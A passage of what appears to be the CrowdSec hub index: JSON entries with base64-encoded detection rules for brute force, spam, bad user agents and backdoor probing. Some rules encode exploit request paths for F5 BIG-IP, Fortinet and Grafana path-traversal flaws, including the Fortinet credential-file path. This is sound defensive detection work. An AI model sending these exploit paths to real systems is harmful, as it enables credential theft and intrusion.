"QmFucyBhIHJhbmdlIGlmIG1vcmUgdGhhbiA1IGlwcyBmcm9tIHNhaWQgcmFuZ2UgYXJlIGJhbm5lZC4KCkxlYWtzcGVlZCBvZiAxIG1pbnV0ZSwgY2FwYWNpdHkgb2YgNS4K", "content": "I1RBUCBJVCBUV0lDRSA6IGlmIG1vcmUgdGhhbiA1IHVuaXF1ZSBJUHMgb2YgYSByYW5nZSBhcmUgYmVpbmcgYmFubmVkLCBkcm9wIHRoZSByYW5nZQp0eXBlOiBsZWFreQojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9iYW4tZGVmY29uLWRyb3BfcmFuZ2UKZGVzY3JpcHRpb246ICJCYW4gYSByYW5nZSBpZiBtb3JlIHRoYW4gNSBpcHMgZnJvbSBpdCBhcmUgYmFubmVkIGF0IGEgdGltZSIKI2l0J3MgYW4gb3ZlcmZsb3cgZnJvbSBhIHNjZW5hcmlvIHRoYXQgdHJpZ2dlcmVkIGEgcmVtZWRpYXRpb24gOykKZmlsdGVyOiAiZXZ0LkdldFR5cGUoKSA9PSAnb3ZlcmZsb3cnICYmIGV2dC5PdmVyZmxvdy5BbGVydC5SZW1lZGlhdGlvbiA9PSB0cnVlIgpncm91cGJ5OiAiZXZ0Lk92ZXJmbG93LkFsZXJ0LlNvdXJjZS5SYW5nZSIKZGlzdGluY3Q6ICJldnQuT3ZlcmZsb3cuQWxlcnQuU291cmNlLklQIgpjYXBhY2l0eTogNQpsZWFrc3BlZWQ6ICIxbSIKYmxhY2tob2xlOiA1bQpsYWJlbHM6CiByZW1lZGlhdGlvbjogdHJ1ZQpzY29wZToKIHR5cGU6IFJhbmdlCgo=", "description": "Ban a range if more than 5 ips from it are banned at a time", "author": "crowdsecurity", "labels": { "remediation": "true" } }, "crowdsecurity/cpanel-bf": { "path": "scenarios/crowdsecurity/cpanel-bf.yaml", "version": "0.2", "versions": { "0.1": { "digest": "120b1820b330939330df55df5da536cbe0885c9df11a2a0986fe80197be68981", "deprecated": false }, "0.2": { "digest": "25d6094169ab75c028f7d35e0b5bacf9ecf24e46484826c95405966562a2db0c", "deprecated": false } }, "long_description": "RGV0ZWN0cyBicnV0ZWZvcmNlIGF0dGVtcHRzIGluIGNwYW5lbCBsb2dpbi4g", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9jcGFuZWwtYmYKY2FwYWNpdHk6IDUKbGVha3NwZWVkOiAxMHMKZGVzY3JpcHRpb246ICJEZXRlY3QgYnJ1dGVmb3JjZSBvbiBjcGFuZWwgbG9naW4iCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdhdXRoX2JmX2xvZyciCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDVtCmxhYmVsczoKICBzZXJ2aWNlOiBjcGFuZWwKICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWUKCg==", "description": "Detect bruteforce on cpanel login", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "cpanel", "type": "bruteforce" } }, "crowdsecurity/cpanel-bf-attempt": { "path": "scenarios/crowdsecurity/cpanel-bf-attempt.yaml", "version": "0.1", "versions": { "0.1": { "digest": "6b7b084a9a5ea68ade56b6bd171cfed65cc661b63b197a0f3cec2aef2fcdaeca", "deprecated": false } }, "long_description": "VHJpZ2dlciBhbGVydHMgd2hlbiB0aGlzIGxpbmUgaXMgbWF0Y2hlZDoKCmBgYGJhc2gKRkFJTEVEIExPR0lOIGNwYW5lbGQ6IGJydXRlIGZvcmNlIGF0dGVtcHQgKHVzZXIgY3NjcGFuZWwpIGhhcyBsb2NrZWQgb3V0IElQIDEuMi4zLjQKYGBg", "content": "dHlwZTogdHJpZ2dlcgpuYW1lOiBjcm93ZHNlY3VyaXR5L2NwYW5lbC1iZi1hdHRlbXB0CmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGJydXRlZm9yY2UgYXR0ZW1wdCBvbiBjcGFuZWwgbG9naW4iCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdhdXRoX2JmX2F0dGVtcHQnIgpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiA1bQpsYWJlbHM6CiAgc2VydmljZTogY3BhbmVsCiAgdHlwZTogYnJ1dGVmb3JjZQogIHJlbWVkaWF0aW9uOiB0cnVlCgo=", "description": "Detect bruteforce attempt on cpanel login", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "cpanel", "type": "bruteforce" } }, "crowdsecurity/dovecot-spam": { "path": "scenarios/crowdsecurity/dovecot-spam.yaml", "version": "0.3", "versions": { "0.1": { "digest": "fc1429f0c8d5b1ba20660ac0725fe0b52bb0382efa746e9bd962d80bdf7c9310", "deprecated": false }, "0.2": { "digest": "e3feff9a377f6b7e72a29910d6ebfee52436163767f876d21b41e2ae2e9618b2", "deprecated": false }, "0.3": { "digest": "c350f1a24a7ff5aed8902691a1bf67b08e963a013dffc3e2500c9db61ad6b62e", "deprecated": false } }, "long_description": "U3BhbSBkZXRlY3Rpb24gZm9yIGRvdmVjb3QgKGNhcGFjaXR5IG9mIDMgYW5kIGxlYWtzcGVlZCBvZiAzNjBzKQoKLSBhbGxvd3MgZmFpbCBhdXRoZW50aWNhdGlvbiBhdHRlbXB0IGV2ZXJ5IDYgbWludXRlcyB3aXRoIGEgYnVyc3Qgb2YgMwoKPiBDb250cmlidXRpb24gYnkgaHR0cHM6Ly9naXRodWIuY29tL0x0U2ljaAo=", "content": "I2NvbnRyaWJ1dGlvbiBieSBAbHRzaWNoCnR5cGU6IGxlYWt5Cm5hbWU6IGNyb3dkc2VjdXJpdHkvZG92ZWNvdC1zcGFtCmRlc2NyaXB0aW9uOiAiZGV0ZWN0IGVycm9ycyBvbiBkb3ZlY290IgpkZWJ1ZzogZmFsc2UKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2RvdmVjb3RfbG9ncycgJiYgZXZ0Lk1ldGEuZG92ZWNvdF9sb2dpbl9yZXN1bHQgPT0gJ2F1dGhfZmFpbGVkJyIKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmNhcGFjaXR5OiAzCmxlYWtzcGVlZDogIjM2MHMiCmJsYWNraG9sZTogNW0KbGFiZWxzOgogdHlwZTogc2NhbgogcmVtZWRpYXRpb246IHRydWUK", "description": "detect errors on dovecot", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "scan" } }, "crowdsecurity/endlessh-bf": { "path": "scenarios/crowdsecurity/endlessh-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "2113a6f5e8e2d675581e93d4bcf546526d0bd22aaa35ecafdd041d95e3f3422d", "deprecated": false } }, "content": "IyBlbmRsZXNzaCBicnV0ZWZvcmNlCnR5cGU6IGxlYWt5Cm5hbWU6IGNyb3dkc2VjdXJpdHkvZW5kbGVzc2gtYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgU1NIIGJydXRlZm9yY2UgY2F1Z2h0IGJ5IEVuZGxlc3NoIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnZW5kbGVzc2hfYWNjZXB0JyIKbGVha3NwZWVkOiAiNW0iCnJlZmVyZW5jZXM6CiAgLSBodHRwOi8vd2lraXBlZGlhLmNvbS9zc2gtYmYtaXMtYmFkCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDEyMG0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKICBzZXJ2aWNlOiBlbmRsZXNzaAogIHR5cGU6IGJydXRlZm9yY2UKICByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect SSH bruteforce caught by Endlessh", "author": "crowdsecurity", "references": [ "http://wikipedia.com/ssh-bf-is-bad" ], "labels": { "remediation": "true", "service": "endlessh", "type": "bruteforce" } }, "crowdsecurity/exchange-bf": { "path": "scenarios/crowdsecurity/exchange-bf.yaml", "version": "0.2", "versions": { "0.1": { "digest": "7900671abf67cdc000b2dd68d0da35a0960e07f4ac3505fdd4d78f929c29a238", "deprecated": false }, "0.2": { "digest": "8d67052a1fc4e5b48be549165ed6ea47aebaa154960166828fd8b114a6ba5bd0", "deprecated": false } }, "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9leGNoYW5nZS1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBleGNoYW5nZSBicnV0ZWZvcmNlIChTTVRQLElNQVAsUE9QMykiCmZpbHRlcjogZXZ0Lk1ldGEuc2VydmljZSA9PSAnZXhjaGFuZ2UnICYmIGV2dC5NZXRhLnN1Yl90eXBlID09ICdhdXRoX2ZhaWwnCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApsZWFrc3BlZWQ6IDEwcwpjYXBhY2l0eTogNQpibGFja2hvbGU6IDFtCmxhYmVsczoKICBzZXJ2aWNlOiBleGNoYW5nZQogIHR5cGU6IGJydXRlZm9yY2UKICByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect exchange bruteforce (SMTP,IMAP,POP3)", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "exchange", "type": "bruteforce" } }, "crowdsecurity/exim-bf": { "path": "scenarios/crowdsecurity/exim-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "a5e177acbd8bbc3a6330100dc64aaebc14f5915a1dda3a8115e54f8825227e7b", "deprecated": false } }, "long_description": "RGV0ZWN0IGJydXRlZm9yY2Ugb24gRXhpbSBtYWlsIHNlcnZlci4KCiAtIGxlYWtzcGVlZCBvZiAxMHMsIGNhcGFjaXR5IG9mIDUgb24gc2FtZSBpcAogLSBsZWFrc3BlZWQgb2YgMTBzLCBjYXBhY2l0eSBvZiA1IG9uIHNhbWUgdGFyZ2V0IHVzZXIK", "content": "dHlwZTogbGVha3kKI2RlYnVnOiB0cnVlCm5hbWU6IGNyb3dkc2VjdXJpdHkvZXhpbS1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBFeGltIGJydXRlIGZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnZXhpbV9mYWlsZWRfYXV0aCciCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApjYXBhY2l0eTogNQpsZWFrc3BlZWQ6ICIxMHMiCmJsYWNraG9sZTogMW0KbGFiZWxzOgogc2VydmljZTogZXhpbQogdHlwZTogYmYKIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQp0eXBlOiBsZWFreQojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9leGltLXVzZXItYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgRXhpbSB1c2VyIGVtYWlsIGJydXRlIGZvcmNlIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnZXhpbV9mYWlsZWRfYXV0aCciCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApkaXN0aW5jdDogZXZ0Lk1ldGEudXNlcm5hbWUKY2FwYWNpdHk6IDUKbGVha3NwZWVkOiAiMTBzIgpibGFja2hvbGU6IDFtCmxhYmVsczoKIHNlcnZpY2U6IGV4aW0KIHR5cGU6IGJmCiByZW1lZGlhdGlvbjogdHJ1ZQ==", "description": "Detect Exim brute force", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "exim", "type": "bf" } }, "crowdsecurity/exim-spam": { "path": "scenarios/crowdsecurity/exim-spam.yaml", "version": "0.1", "versions": { "0.1": { "digest": "b556e7f5a75118639d28765e93ae858bfa5416b8e73142c5b318bfda8ca1ae6e", "deprecated": false } }, "long_description": "U3BhbSBkZXRlY3Rpb24gZm9yIEV4aW0gKGNhcGFjaXR5IG9mIDMgYW5kIGxlYWtzcGVlZCBvZiAzNjBzKQoKCg==", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9leGltLXNwYW0KZGVzY3JpcHRpb246ICJkZXRlY3Qgc3BhbSBvbiBFeGltIgojZGVidWc6IHRydWUKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ3NwYW0tYXR0ZW1wdCcgJiYgZXZ0Lk1ldGEuc2VydmljZSA9PSAnZXhpbSciCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApjYXBhY2l0eTogMwpsZWFrc3BlZWQ6ICIzNjBzIgpibGFja2hvbGU6IDVtCmxhYmVsczoKIHR5cGU6IHNwYW0KIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "detect spam on Exim", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "spam" } }, "crowdsecurity/f5-big-ip-cve-2020-5902": { "path": "scenarios/crowdsecurity/f5-big-ip-cve-2020-5902.yaml", "version": "0.1", "versions": { "0.1": { "digest": "04def871dad424adf0227232c8b22acab9938901a879dca070b58e2389039326", "deprecated": false } }, "content": "dHlwZTogdHJpZ2dlcgpmb3JtYXQ6IDIuMApuYW1lOiBjcm93ZHNlY3VyaXR5L2Y1LWJpZy1pcC1jdmUtMjAyMC01OTAyCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGN2ZS0yMDIwLTU5MDIgZXhwbG9pdGF0aW9uIGF0dGVtcHMiCmZpbHRlcjogfAogIGV2dC5NZXRhLmxvZ190eXBlIGluIFsiaHR0cF9hY2Nlc3MtbG9nIiwgImh0dHBfZXJyb3ItbG9nIl0gYW5kIAogICAgKAogICAgVXBwZXIoZXZ0Lk1ldGEuaHR0cF9wYXRoKSBtYXRjaGVzIFVwcGVyKCcvdG11aS9sb2dpbi5qc3AvLi47L3RtdWkvW14uXSsuanNwXFw/KGZpbGVOYW1lfGNvbW1hbmR8ZGlyZWN0b3J5UGF0aHx0YWJJZCk9JykKICAgIG9yCiAgICBVcHBlcihldnQuTWV0YS5odHRwX3BhdGgpIG1hdGNoZXMgVXBwZXIoJy90bXVpL2xvZ2luLmpzcC8lMkUlMkU7L3RtdWkvW14uXSsuanNwXFw/KGZpbGVOYW1lfGNvbW1hbmR8ZGlyZWN0b3J5UGF0aHx0YWJJZCk9JykKICAgICkKZ3JvdXBieTogImV2dC5NZXRhLnNvdXJjZV9pcCIKYmxhY2tob2xlOiAybQpsYWJlbHM6CiAgdHlwZTogZXhwbG9pdAogIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "Detect cve-2020-5902 exploitation attemps", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/fortinet-cve-2018-13379": { "path": "scenarios/crowdsecurity/fortinet-cve-2018-13379.yaml", "version": "0.2", "versions": { "0.1": { "digest": "c966840446a481f46237df14963224a106cd15e8b7c72dc903de1ae098dbb58d", "deprecated": false }, "0.2": { "digest": "a7952444f7fc5d039bc415c5e56baa8243badd1bcc4013e8d8e52bc6c2e1a431", "deprecated": false } }, "content": "dHlwZTogdHJpZ2dlcgpmb3JtYXQ6IDIuMApuYW1lOiBjcm93ZHNlY3VyaXR5L2ZvcnRpbmV0LWN2ZS0yMDE4LTEzMzc5CmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGN2ZS0yMDE4LTEzMzc5IGV4cGxvaXRhdGlvbiBhdHRlbXBzIgpmaWx0ZXI6IHwKICBldnQuTWV0YS5sb2dfdHlwZSBpbiBbImh0dHBfYWNjZXNzLWxvZyIsICJodHRwX2Vycm9yLWxvZyJdIGFuZCAKICAgIFVwcGVyKGV2dC5NZXRhLmh0dHBfcGF0aCkgY29udGFpbnMgVXBwZXIoJy9yZW1vdGUvZmd0X2xhbmc/bGFuZz0vLi4vLi4vLi4vLi4vLy8vLy8vLy8vZGV2L2NtZGIvc3NsdnBuX3dlYnNlc3Npb24nKQpncm91cGJ5OiAiZXZ0Lk1ldGEuc291cmNlX2lwIgpibGFja2hvbGU6IDJtCmxhYmVsczoKICB0eXBlOiBleHBsb2l0CiAgcmVtZWRpYXRpb246IHRydWUK", "description": "Detect cve-2018-13379 exploitation attemps", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/grafana-cve-2021-43798": { "path": "scenarios/crowdsecurity/grafana-cve-2021-43798.yaml", "version": "0.1", "versions": { "0.1": { "digest": "38e2367afa09fce19313601b205c7ef60ff0dcda0d5a5fbfe162d391998727cf", "deprecated": false } }, "long_description": "RGV0ZWN0IGV4cGxvaXRhdGlvbiBvZiBDVkUtMjAyMS00Mzc5OAo=", "content": "dHlwZTogdHJpZ2dlcgpmb3JtYXQ6IDIuMApuYW1lOiBjcm93ZHNlY3VyaXR5L2dyYWZhbmEtY3ZlLTIwMjEtNDM3OTgKZGVzY3JpcHRpb246ICJEZXRlY3QgY3ZlLTIwMjEtNDM3OTggZXhwbG9pdGF0aW9uIGF0dGVtcHMiCmZpbHRlcjogfAogIGV2dC5NZXRhLmxvZ190eXBlIGluIFsiaHR0cF9hY2Nlc3MtbG9nIiwgImh0dHBfZXJyb3ItbG9nIl0gYW5kIAogICAgKFVwcGVyKGV2dC5NZXRhLmh0dHBfcGF0aCkgbWF0Y2hlcyAnL1BVQkxJQy9QTFVHSU5TL1teL10rLy4uL1suL10rLycKICAgIG9yCiAgICBVcHBlcihldnQuTWV0YS5odHRwX3BhdGgpIG1hdGNoZXMgJy9QVUJMSUMvUExVR0lOUy9bXi9dKy8lMkUlMkUvWyUyRS9dKy8nKQpncm91cGJ5OiAiZXZ0Lk1ldGEuc291cmNlX2lwIgpibGFja2hvbGU6IDJtCmxhYmVsczoKICB0eXBlOiBleHBsb2l0CiAgcmVtZWRpYXRpb246IHRydWUK", "description": "Detect cve-2021-43798 exploitation attemps", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/home-assistant-bf": { "path": "scenarios/crowdsecurity/home-assistant-bf.yaml", "version": "0.2", "versions": { "0.1": { "digest": "7e155354a1558caba3896dc0af3ad311db2e4df90ea20d7809c288fd080b0356", "deprecated": false }, "0.2": { "digest": "fb78b93bb62bf525357967eb64cfbca6ca315cec23288bc4e7e2272a82381770", "deprecated": false } }, "long_description": "RGV0ZWN0IHNldmVyYWwgZmFpbGVkIEhvbWUgYXNzaXN0YW50IGF1dGhlbnRpY2F0aW9ucy4KCmxlYWtzcGVlZCBvZiAxMHMsIGNhcGFjaXR5IG9mIDUK", "content": "IyBob21lLWFzc2lzdGFudCBicnV0ZWZvcmNlCnR5cGU6IGxlYWt5CiNkZWJ1ZzogdHJ1ZQpuYW1lOiBjcm93ZHNlY3VyaXR5L2hvbWUtYXNzaXN0YW50LWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IEhvbWUgQXNzaXN0YW50IGJydXRlZm9yY2UiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2hvbWUtYXNzaXN0YW50X2ZhaWxlZF9hdXRoJwpsZWFrc3BlZWQ6ICIxMHMiCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDVtCmxhYmVsczoKIHNlcnZpY2U6IGhvbWUtYXNzaXN0YW50CiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQ==", "description": "Detect Home Assistant bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "home-assistant", "type": "bruteforce" } }, "crowdsecurity/http-apiscp-bf": { "path": "scenarios/crowdsecurity/http-apiscp-bf.yaml", "version": "0.2", "versions": { "0.1": { "digest": "c0dec456fded0c14c7c48a918eb30e1ab35892581adb9263572cfa49fddc908e", "deprecated": false }, "0.2": { "digest": "f6f5ed461e46ff730a57ae5bc2ee9187cdca20d0d5e13114fed8e381e384528b", "deprecated": false } }, "long_description": "RGV0ZWN0cyBicnV0ZWZvcmNlIG9uIGFwaXNDUCBsb2dpbiBwYWdlICcvYXBwcy9sb2dpbicuCgpsZWFrc3BlZWQgb2YgMTBzLCBjYXBhY2l0eSBvZiA1Cg==", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9odHRwLWFwaXNjcC1iZgpkZXNjcmlwdGlvbjogImRldGVjdCBhcGlzQ1AgZGFzaGJvYXJkIGJydXRlZm9yY2UiCmRlYnVnOiBmYWxzZQojIHN1Y2Nlc3MgYXV0aCBvbiBhcGlzQ1AgcmV0dXJucyAzMDMKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ2h0dHBfYWNjZXNzLWxvZycgJiYgZXZ0Lk1ldGEuaHR0cF9wYXRoIHN0YXJ0c1dpdGggJy9hcHBzL2xvZ2luJyAmJiBldnQuUGFyc2VkLnZlcmIgPT0gJ1BPU1QnICYmIGV2dC5NZXRhLmh0dHBfc3RhdHVzID09ICcyMDAnIgpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKY2FwYWNpdHk6IDUKbGVha3NwZWVkOiAxMHMKYmxhY2tob2xlOiA1bQpsYWJlbHM6CiBzZXJ2aWNlOiBodHRwCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "detect apisCP dashboard bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "bruteforce" } }, "crowdsecurity/http-backdoors-attempts": { "path": "scenarios/crowdsecurity/http-backdoors-attempts.yaml", "version": "0.3", "versions": { "0.1": { "digest": "2eaba549ef284a36349482aa803b201fa8dcbff0f4d1ab2c5127d6b29806bba1", "deprecated": false }, "0.2": { "digest": "388ec8c8f0679601bafa27fdf57fd414312bb2110bff56ef583bb505a1866d8b", "deprecated": false }, "0.3": { "digest": "9eab7252dba254defcc9f90f38874df9f4f323d75aca0c831b9c9567edf9c00f", "deprecated": false } }, "long_description": "RGV0ZWN0IGF0dGVtcHRzIHRvIGFjY2VzcyBjb21tb24gYmFja2Rvb3JzIHN1Y2ggYXMgYzk5LnBocCAuLi4KCiMjIENvbmZpZ3VyYXRpb24KClRoaXMgc2NlbmFyaW8gd2lsbCBiZSB0cmlnZ2VyIGlmIGFuIGF0dGFja2VyIHJlcXVlc3RzIGEgbWluaW11bSBvZiB0d28gZGlmZmVyZW50cyBmaWxlIG9mIFt0aGUgbGlzdF0oaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL21hc3Rlci93ZWIvYmFja2Rvb3JzLnR4dCkvCgpDb25maWd1cmF0aW9uOgoKYGRpc3RpbmN0YCA6IGBldnQuUGFyc2VkLnJlcXVlc3RgIChIVFRQIHJlcXVlc3QgVVJJKQoKYGxlYWtzcGVlZGAgOiA1IHNlY29uZGVzCgpgZ3JvdXBfYnlgIDogYGV2dC5NZXRhLnNvdXJjZV9pcGAKCgojIyMgRGF0YQoKVGhpcyBzY2VuYXJpbyB1c2UgdGhlIFtmb2xsb3dpbmcgbGlzdCBiYWNrZG9vcnMudHh0XShodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvbWFzdGVyL3dlYi9iYWNrZG9vcnMudHh0KSBmcm9tIFtkYW5pZWxtaWVzc2xlcl0oaHR0cHM6Ly9naXRodWIuY29tL2RhbmllbG1pZXNzbGVyL1NlY0xpc3RzKQ==", "content": "dHlwZTogbGVha3kKI2RlYnVnOiB0cnVlCm5hbWU6IGNyb3dkc2VjdXJpdHkvaHR0cC1iYWNrZG9vcnMtYXR0ZW1wdHMKZGVzY3JpcHRpb246ICJEZXRlY3QgYXR0ZW1wdCB0byBjb21tb24gYmFja2Rvb3JzIgpmaWx0ZXI6ICdldnQuTWV0YS5sb2dfdHlwZSBpbiBbImh0dHBfYWNjZXNzLWxvZyIsICJodHRwX2Vycm9yLWxvZyJdIGFuZCBhbnkoRmlsZSgiYmFja2Rvb3JzLnR4dCIpLCB7IGV2dC5QYXJzZWQuZmlsZV9uYW1lID09ICN9KScKZ3JvdXBieTogImV2dC5NZXRhLnNvdXJjZV9pcCIKZGlzdGluY3Q6IGV2dC5QYXJzZWQuZmlsZV9uYW1lCmRhdGE6CiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvbWFzdGVyL3dlYi9iYWNrZG9vcnMudHh0CiAgICBkZXN0X2ZpbGU6IGJhY2tkb29ycy50eHQKICAgIHR5cGU6IHN0cmluZwpjYXBhY2l0eTogMQpsZWFrc3BlZWQ6IDVzCmJsYWNraG9sZTogNW0KbGFiZWxzOgogIHNlcnZpY2U6IGh0dHAKICB0eXBlOiBkaXNjb3ZlcnkKICByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect attempt to common backdoors", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "http", "type": "discovery" } }, "crowdsecurity/http-bad-user-agent": { "path": "scenarios/crowdsecurity/http-bad-user-agent.yaml", "version": "0.7", "versions": { "0.1": { "digest": "46e7058419bc3086f2919fb9afad6b2e85f0d4764f74153dd336ed491f99fa08", "deprecated": false }, "0.2": { "digest": "524e2465c1bd817b4d54b37ccb4d2457eec1dad789e21690f51e43469545f426", "deprecated": false }, "0.3": { "digest": "d3cae6c40fadd16693e449b4eb7a030586c8f1a9d9dd33c97001c9dc717c68f2", "deprecated": false }, "0.4": { "digest": "8dd16e9de043f47f026d2e3c1b53ad4bbc6dd8f8aac3adaf26a7f4bd2bb6e6fd", "deprecated": false }, "0.5": { "digest": "93af1e0f77f0ccc62fdb3bd783a777b091a55e21413fc9cb05ba141608f8942b", "deprecated": false }, "0.6": { "digest": "df3408e39840a2f7d11977d555985f93bc49e4b23a7e84e0e63ebe040c1e512d", "deprecated": false }, "0.7": { "digest": "51360ad64c9672e5d3ba9c1786e6fc380c8752871a977a5dddac0d08551aa66a", "deprecated": false } }, "long_description": "IyBLbm93biBiYWQgdXNlci1hZ2VudHMKCkRldGVjdCBrbm93biBiYWQgdXNlci1hZ2VudHMuCgpCYW5zIGFmdGVyIHR3byByZXF1ZXN0cy4KCgoKCgo=", "content": "dHlwZTogbGVha3kKZm9ybWF0OiAyLjAKI2RlYnVnOiB0cnVlCm5hbWU6IGNyb3dkc2VjdXJpdHkvaHR0cC1iYWQtdXNlci1hZ2VudApkZXNjcmlwdGlvbjogIkRldGVjdCBiYWQgdXNlci1hZ2VudHMiCmZpbHRlcjogJ2V2dC5NZXRhLmxvZ190eXBlIGluIFsiaHR0cF9hY2Nlc3MtbG9nIiwgImh0dHBfZXJyb3ItbG9nIl0gJiYgUmVnZXhwSW5GaWxlKGV2dC5QYXJzZWQuaHR0cF91c2VyX2FnZW50LCAiYmFkX3VzZXJfYWdlbnRzLnJlZ2V4LnR4dCIpJwpkYXRhOgogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL21hc3Rlci93ZWIvYmFkX3VzZXJfYWdlbnRzLnJlZ2V4LnR4dAogICAgZGVzdF9maWxlOiBiYWRfdXNlcl9hZ2VudHMucmVnZXgudHh0CiAgICB0eXBlOiByZWdleHAKY2FwYWNpdHk6IDEKbGVha3NwZWVkOiAxbQpncm91cGJ5OiAiZXZ0Lk1ldGEuc291cmNlX2lwIgpibGFja2hvbGU6IDJtCmxhYmVsczoKICB0eXBlOiBzY2FuCiAgcmVtZWRpYXRpb246IHRydWUK", "description": "Detect bad user-agents", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "scan" } }, "crowdsecurity/http-bf-wordpress_bf": { "path": "scenarios/crowdsecurity/http-bf-wordpress_bf.yaml", "version": "0.4", "versions": { "0.1": { "digest": "628d9988c1f2448f4ffa5a72fe8aec6e1c1eedd8c838447630cce653bf31cbd9", "deprecated": false }, "0.2": { "digest": "f4074942f2454ffeae226219e0807c63262413986a5b07fc939f4b0835e7bef2", "deprecated": false }, "0.3": { "digest": "b313b926ef3c42c125526c707a761efd02d14f1f6ce577ef602709228427f482", "deprecated": false }, "0.4": { "digest": "09f9a5e176da2971ddbdd07522fb64948500f867d78fc77167bcd494bce079a8", "deprecated": false } }, "long_description": "RGV0ZWN0cyBicnV0ZWZvcmNlIG9uIHdvcmRwcmVzcyBsb2dpbiBwYWdlICd3cC1sb2dpbi5waHAnLgoKbGVha3NwZWVkIG9mIDEwcywgY2FwYWNpdHkgb2YgNQoK", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS9odHRwLWJmLXdvcmRwcmVzc19iZgpkZXNjcmlwdGlvbjogImRldGVjdCB3b3JkcHJlc3MgYnJ1dGVmb3JjZSIKZGVidWc6IGZhbHNlCiMgZmFpbGVkIGF1dGggb24gd3AtbG9naW4ucGhwIHJldHVybnMgMjAwCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdodHRwX2FjY2Vzcy1sb2cnICYmIGV2dC5QYXJzZWQuZmlsZV9uYW1lID09ICd3cC1sb2dpbi5waHAnICYmIGV2dC5QYXJzZWQudmVyYiA9PSAnUE9TVCcgJiYgZXZ0Lk1ldGEuaHR0cF9zdGF0dXMgPT0gJzIwMCciCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApjYXBhY2l0eTogNQpsZWFrc3BlZWQ6IDEwcwpibGFja2hvbGU6IDVtCmxhYmVsczoKIHNlcnZpY2U6IGh0dHAKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "detect 